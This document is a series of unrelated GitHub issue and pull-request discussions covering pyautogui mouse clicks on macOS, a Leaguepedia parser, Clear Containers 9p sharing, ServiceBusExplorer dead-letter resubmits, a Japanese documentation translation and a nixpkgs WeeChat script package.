@wyatt-troia There's a PR (https://github.com/asweigart/pyautogui/pull/358) related to "click()" specifically for OSX.  The source I have is version 0.9.47 which does not reflect this change (https://github.com/asweigart/pyautogui/pull/358/files).  If you're comfortable making this edit to your local file, you can determine if that fixes your issue.
Assuming your directory structure for python on OSX is the same as mine in Windows:

Open the "...\Python3x\Lib\site-packages\pyautogui_init_.py" file with IDLE.
Press "Alt+G" to access the "Goto" pop-up.
In the "Go to line number" field, enter "510".
Click on "OK".
Verify the cursor is flashing at the beginning of "Ln: 510" as indicated in the lower right-hand corner of IDLE.
Change the "3" in "platformModule._multiClick(x, y, button, 3)" to "clicks" (without quotes).
Press "Ctrl+S" to save the file.
Attempt to run your program again.

If this doesn't fix the issue you're encountering, I'm out of ideas for pyautogui since I don't have an Apple on which to reproduce this.  In the source, the "win32api" for OSX appears to be "Quartz", so you could try using that to control the mouse directly.  Otherwise, I also found a few possible alternatives to pyautogui: pynput (https://pypi.org/project/pynput/); PyUserInput (https://github.com/PyUserInput/PyUserInput/issues).  I haven't used either of these, so I can't speak to their functionality.

@jordanmcleod That fixed it. Thank you!


Added *.ipynb to gitignore, updated readme, change help verbage

@mrtolkien I used black formatting this time, so I'm not sure why it changed the spacing/indentation on certain lines, but here's the changes/info for this pull request:

I changed the readme, but tried to keep it in a similar format to lol-dto.

I added .ipynb to the gitignore since you said that you don't want to add notebook files (and at the moment they're not compatible with Python 3.8 because of conda)

Made the changes to the verbage of the "get_games" help text so that it says that the function input is tournament name

All tests are passing

Sidenote: What do you think of the following for game_parser.py in reference to "TODO Make that more beautiful"
def _add_game_players(game: LolGame, add_page_id: bool) -> LolGame:
    """Joins on PlayersRedirect to get all players information.
    """
    # TODO Make that more beautiful, not satisfied with black’s formatting
    agp_str = [
        [
            "ScoreboardGames, ScoreboardPlayers, PlayerRedirects, Players",
            ", _pageData = PD",
        ],
        ["ScoreboardGames.UniqueGame = ScoreboardPlayers.UniqueGame, "],
        ["ScoreboardPlayers.Link = PlayerRedirects.AllName, "],
        [
            ", Players._pageName = PD._pageName",
            "PlayerRedirects._pageName = Players._pageName",
        ],
        [", PD._pageID=pageId"],
        [
            "ScoreboardGames.UniqueGame = '{game['sources']['leaguepedia']['uniqueGame']}'"
            "AND PD._isRedirect = 0",
        ],
    ]

    players = leaguepedia.query(
        tables=f"{agp_str[0][0]}" + ("{agp_str[0][1]}" if add_page_id else ""),
        join_on="{agp_str[1]}"
        "{agp_str[2]}"
        "{agp_str[3][0]}" + ("{agp_str[3][1]}" if add_page_id else ""),
        fields=", ".join(game_players_fields) + ("{agp_str[4]}" if add_page_id else ""),
        where=f"{agp_str[5][0]}" + ("{agp_str[5][1]}" if add_page_id else ""),
    )

or
def _add_game_players(game: LolGame, add_page_id: bool) -> LolGame:
    """Joins on PlayersRedirect to get all players information.
    """
    # TODO Make that more beautiful, not satisfied with black’s formatting
    agp_str = [
        "ScoreboardGames, ScoreboardPlayers, PlayerRedirects, Players",
        ", _pageData = PD",
        "ScoreboardGames.UniqueGame = ScoreboardPlayers.UniqueGame, ",
        "ScoreboardPlayers.Link = PlayerRedirects.AllName, ",
        ", Players._pageName = PD._pageName",
        "PlayerRedirects._pageName = Players._pageName",
        ", PD._pageID=pageId",
        "ScoreboardGames.UniqueGame = '{game['sources']['leaguepedia']['uniqueGame']}'"
        "AND PD._isRedirect = 0",
    ]

    players = leaguepedia.query(
        tables=f"{agp_str[0]}" + ("{agp_str[1]}" if add_page_id else ""),
        join_on="{agp_str[2]}"
        "{agp_str[3]}"
        "{agp_str[4]}" + ("{agp_str[5]}" if add_page_id else ""),
        fields=", ".join(game_players_fields) + ("{agp_str[6]}" if add_page_id else ""),
        where=f"{agp_str[7]}" + ("{agp_str[8]}" if add_page_id else ""),
    )
    return add_players(game, players)

Looks better with the tests passing!
I’ll take a look at it later, but I’ll likely have to revert your change in get_games since it uses the tournament "overview page" field and not name. The doc was not properly updated, but not the variable name!

Ahhhhh I get it now. I think I got confused because I was mostly working with the test file.

@mrtolkien when you redo the README.md, if you include a To-Do list for the parser of things you'd like worked on (similar to the one in lol-dto), I'll work on them. I'm currently working through the ones you already had listed as commented "TODO".
I'm kinda trying to help out with the parser, and other data gathering tools you've started the work for, as a means of contributing to the data science community for LoL while improving my basic python skills.

Will do! I think the most pressing thing is to add functions to query other tables on Leaguepedia. I don’t personally use things like standings, schedule, and so on and so forth, but having easy access to them in python is definitely convenient for some people!


9p: Do not pass the rootfs through 9pfs

We pass the shared directory through 9p in hyperstart.go and
handle mounting the rootfs or the underlying block device in the agent.
We do not really need this extra 9p share and should avoid it.
Signed-off-by: Archana Shinde<EMAIL_ADDRESS>

CIs failed - looks like an unrelated code mismatch - maybe something needs a rebase or something else is in flight. Here is the error:
go build -i -o cc-runtime .
  # github.com/clearcontainers/runtime
  ./cc-env.go:205: proxyConfig.URL undefined (type virtcontainers.CCProxyConfig has no field or method URL)
  ./config.go:306: unknown field 'URL' in struct literal of type virtcontainers.CCProxyConfig
  Makefile:268: recipe for target 'cc-runtime' failed

maybe @jodh-intel or @sboeuf know what might have caused that?
Other than that - just to check, does this change presume that we always pass the root dir as a block device, and is that true for all cases?

Can you provide a bit more detail on this? How did we discover the duplication? Should this strictly have been removed in a previous PR (oversight)?
Also, the tests still reference ctr-rootfs and ctr-9p so will need to be updated I think.

@grahamwhaley - the CI issue is related to https://github.com/clearcontainers/runtime/pull/835 not being merged (and thus affecting all recent vc PRs). That PR is now merged, so I've kicked off a rebuild for this PR...

@grahamwhaley, @sboeuf - ... which reminds me, are we missing a bit of Jenkins config? The 3 CI builds I've re-triggered for this PR are currently queued, but I'd still expect the red crosses on this PR to show the mustard-coloured "in-progress" icons pretty much immediately?

@jodh-intel I think you are probably right - that is most likely a non-configured 'trigger' entry for the github pull request builder plugin I suspect - but .... oh, and as I am typing this they have changed.... so, maybe it is OK after all (it could have been Azure spinup time maybe...)

@grahamwhaley - the 3 builds are now executing so it does seem that if it's queued, you'll still see the red fail cross". I have hit rebuild on a PR due to this only to find that there are one or more identical rebuild requests in the queue so if we could resolve this issue, we'll be saving some resources ;)

@jodh-intel when you trigger a re-build from Jenkins, Github sees it only when the Azure VM is up and running and the build script is running. The whole part where Jenkins starts a new VM and waits for it to be online does not change the Github status.

That's pretty much what I guessed. So presumably there is no way to trigger a github update as soon as the rebuild button is pressed to show it's "queued"?

@jodh-intel well I didn't find a way, but this does not mean it's not feasible :)

I suspect not @jodh-intel - those status items are controlled/updated by the specific jenkins plugin, and it probably doesn't get prodded until the 'slave' machine has been chosen and run up, and hence the potential delay waiting for Azure. You'll just have to be patient :-)

@jodh-intel This 9p share not have been there in the first place. We were passing rootfs through qemu as well as hyperstart with different 9p tags. The 9p share passed in qemu.go ("ctrl-9p") was essentially unused. I dont know when this change was introduced, but I have seen it right from the time I started taking a look at 3.0, just got around to getting rid of it :)

Thanks @amshinde. Great to see code being removed, particularly 9p-related code!! :smile:
lgtm

LGTM


✨ Simplify constructors for EmailAddress

📝 Description
Similarly to the issue #676, we want to provide only constructors for creating an instance of the EmailAddress type in a natural way. These constructors should be available for all Kotlin platforms and Java.
Here's the Application Programming Interface (API) goal for this issue:
class EmailAddress {
    constructor(text: Any)
    constructor(text: Any, pattern: Any)
}

These constructors should replace all factory functions introduced previously for the EmailAddress type.

✅ Checklist

[ ] ✨ Add the constructor(Any) function with tests, documentation and samples.
[ ] ✨ Add the constructor(Any, Any) function with tests, documentation and samples.
[ ] 🔥 Remove all other factory functions for the EmailAddress type.
[ ] 📝 Update the unreleased changelog for this issue.

Superseded by #681.


Fix timeline for pending-survey articles

correct timeline status

 "Pending survey" articles show as "Validated by Managing board" in the timeline


Message retransmit pattern

This change partially solves #135. It only handles messages in deadletter subqueues but not in normal queues and subscriptions.
The reason for this is that it is not possible to call Defer() on a message unless it has been acquired using one of the Receive* methods, so it won’t work if Peek* has used to get the message. MikeWo explains the reason for this in his answer on StackOverflow.
One way to solve this is by iterating through the messages in the queue using a Receive* method in PeekLock mode and when the message to be moved is found, it is Cloned, Sent and Completed. When this is done all the received messages are Abandoned and Disposed. Abandoning a message on the main queue causes its Delivery count to increment, which in turn might cause messages to be moved to the DLQ. On the other hand, abandoning messages on DLQ should not have any bad effect.
I therefore implemented the above for only DLQ. The DLQ is where I see the big need for this feature.
The timespan for doing the receiving and the send must be less than the Lock duration for the queue which may be a problem in cases with many or large messages.
If this works fine it could be implemented for the main queue and for the Transfer Deadletter Queue, with some kind of warning that the Delivery Count will be increased.
For the Resubmit form I added a check box to remove the message from the DLQ. When it is checked it handles one message at a time to make sure that no messages are lost, unless they have the same MessageID and the receiving queue/topic has Message Duplication check turned on. This is different behavior from when the check box is not checked, because then it tries to put all the messages in the same batch. I believe that is the root cause for issue described in #173 but I did not fix it for the code path when it is not removing messages.
I changed the form for selecting target queue/topic to default to select the main queue/topic for the DLQ since I know that behavior have been requested and I got tired of selecting the queue/topic every time I tested submitting messages.
I also added a menu item for deleting selected messages from the DLQ when looking at them in the grid.
This PR is a big modification and there are many different combinations of message size, network latency, partitioning, queue/topic/subscription settings, Service Bus health, Service Bus SKU and I haven’t tested them all so there is a risk that this change might cause bugs.

:white_check_mark: Build ServiceBusExplorer 4.0.108-PullRequest0192.30.build.368 completed (commit https://github.com/paolosalvatori/ServiceBusExplorer/commit/6122922a2e by @ErikMogensen)

Thanks @ErikMogensen, great work. I did the same analysis a few weeks ago and I came to the same conclusion regarding messages in normal queues and topics. Thanks for the great addition, you are definitely one of the most valuable contributors to this tool :)


Add another test case for config without status codes

Purpose
Examples
Checklist

[ ] Linked to an issue
[ ] Updated the changelog
[ ] Added tests

Codecov Report

Merging #4 (27eb619) into master (6e33423) will increase coverage by 0.10%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master       #4      +/-   ##
============================================
+ Coverage     80.79%   80.90%   +0.10%
  Complexity       67       67
============================================
  Files           318      318
  Lines         16510    16510
  Branches       3899     3899
============================================
+ Hits          13340    13358      +18
+ Misses         2461     2452       -9
+ Partials        709      700       -9

Impacted Files
Coverage Δ

...main/java/org/ballerinalang/net/http/HttpUtil.java
74.64% <0.00%> (+0.26%)
:arrow_up:

...alang/net/transport/message/HttpCarbonMessage.java
95.08% <0.00%> (+0.54%)
:arrow_up:

http-ballerina/resiliency_http_circuit_breaker.bal
85.08% <0.00%> (+0.67%)
:arrow_up:

...et/transport/contract/config/SslConfiguration.java
96.18% <0.00%> (+0.76%)
:arrow_up:

...ng/net/http/client/actions/AbstractHTTPAction.java
68.14% <0.00%> (+1.20%)
:arrow_up:

...alang/net/http/service/signature/ParamHandler.java
87.50% <0.00%> (+1.47%)
:arrow_up:

...ransport/message/DefaultFullHttpMessageFuture.java
96.00% <0.00%> (+4.00%)
:arrow_up:

...erinalang/net/transport/message/MessageFuture.java
95.65% <0.00%> (+4.34%)
:arrow_up:

...tractimpl/sender/ConnectionAvailabilityFuture.java
78.04% <0.00%> (+4.87%)
:arrow_up:

...ractimpl/listener/UriAndHeaderLengthValidator.java
90.00% <0.00%> (+5.00%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6e33423...27eb619. Read the comment docs.


Minor UI fix in API Publisher/Implement tab

Description:
The help icon next to the Production endpoint label is not on the same line.
Suggested Labels:
2.2.0, Type/UX
Suggested Assignees:
N/A
Affected Product Version:
2.2.0
OS, DB, other environment details and versions:
N/A
Steps to reproduce:
Log in to the API Publisher, choose to edit an API and click the Implement tab. It would be nice to move the help icon (question mark) of the Production endpoint field to the same line as the field name, similar to the Sandbox endpoint label.

Related Issues:
N/A

Fixed with 3.x and 2.6


Translate in Japanese Getting started / Create a GitHub Account and …

I translated a part of Getting started in Japanese.
I finished "Create a GitHub Account and Join our Chat Rooms".
#6789

私の日本語はかなり悪いですが、これは大丈夫に見えます。
Anyone, any concerns about the PR itself (guidelines, etc)?

I see that メール受信箱 and メール受信box are both used (lines 428 and 429, respectively) - for the sake of consistency, I would only use メール受信箱. Actually, my intuition would be that メールアドレス would be more idiomatic than both, but as I am a non-native speaker, please take that with a grain of salt.

@AaronJRubin Yeah, I think even mixi simply uses メールアドレス... thanks for catching that one.

@hallaathrad @AaronJRubin Thank you for reviewing and pointing. :+1:
I updated it. I'm a native Japanese. In this case, I think "メールアドレス宛" is better than "メールアドレス".

勉強になりました！

@regonn OH of course. I didn't imply my Japanese was even decent at all. But there's something to be said about preexisting UX patterns and that's what we were aiming for to avoiding forcing people to learn our interface from scratch.  :)
Great job, though!

I deleted a unnecessary line.

:+1: solid!


feat: Provider::subscribe_logs

Motivation
Adds Provider::subscribe_logs and Event::subscribe methods
Solution

PR Checklist

[ ] Added Tests
[ ] Added Documentation
[ ] Breaking changes

@prestwich I think so, but I feel that would complicate things quite a bit for not much benefit?

it means that users would follow the same API regardless of provider and get automatically upgraded to pubsub subscriptions when they change endpoints (unless they specifically want to downgrade to polling for some reason)

i agree w prestwich here, this would most likely also give us transport stacking back?

Regardless, that's not in scope for this PR. Opened #346 to capture.

re-running CI before merge


N15 ggez

Trying to sneak this in at the last moment, if you don't mind.

...heckin' branches.  Okay, let me fix this.


Improperly formatted 8x8 monochrome icon causes Cesium to crash

OS: 5.8.0
Viewing the icon for this program: https://ticalc.org/archives/files/fileinfo/476/47693.html causes cesium to crash followed by a ram clear.

Fixed with 020157c


📃: Memory Game with Emojis

🔴 Title : Memory Game with Emojis
🔴 Tech stack : HTML, CSS, JavaScript
🔴 Objective : Players flip pairs of cards to find matching emojis.
🔴 Summary : This memory game consists of a grid of cards, each initially hidden. Players flip two cards at a time to uncover emojis and try to match pairs. The game keeps track of attempts and displays a message when all pairs are found.
📸 Screenshots

N/A

✅ Details to Include When Taking the Issue:
Name : Rahul-AkaVector
Participant Role (Specify the Open Source Program name, e.g., GSSOC, Hacktoberfest, etc.): GSSOC, Hacktoberfest, Level 2

Happy Contributing! 🚀
Wishing you all the best on your open source journey. Enjoy! 😎

@iamrahulmahato  can u assign this task so i can quickly start working


weechatScripts.multiline: init at 0.6.3

Motivation for this change
This pull requests introduces a new package for WeeChat's multiline.pl script.
One can test these changes with the following "short" one liner:
nix-shell -I nixpkgs=/path/to/nixpkgs -p '(weechat.override { configure = {...}: { scripts = [ weechatScripts.multiline ]; };})' --run weechat
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@SuperSandro2000: Might you take another look at this PR? Thanks a lot!

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
If you have any questions or problems please reach out to SuperSandro2000 on IRC.
Result of nixpkgs-review pr 111914 run on x86_64-linux 1

1 package built:

weechatScripts.multiline

The following issues got detected with the above build packages.
Please fix at least the ones listed with your changed packages:

weechatScripts.multiline:

installPhase should probably contain runHook preInstall and runHook postInstall.
Near pkgs/applications/networking/irc/weechat/scripts/multiline/default.nix:26:3:
   |
26 |   installPhase = ''
   |   ^

See: https://github.com/jtojnar/nixpkgs-hammering/blob/master/explanations/missing-phase-hooks.md
Please add a comment on the line above, explaining the purpose of this patch.
Near pkgs/applications/networking/irc/weechat/scripts/multiline/default.nix:18:5:
   |
18 |     (substituteAll {
   |     ^

See: https://github.com/jtojnar/nixpkgs-hammering/blob/master/explanations/missing-patch-comment.md

Changed as demanded.

@ofborg eval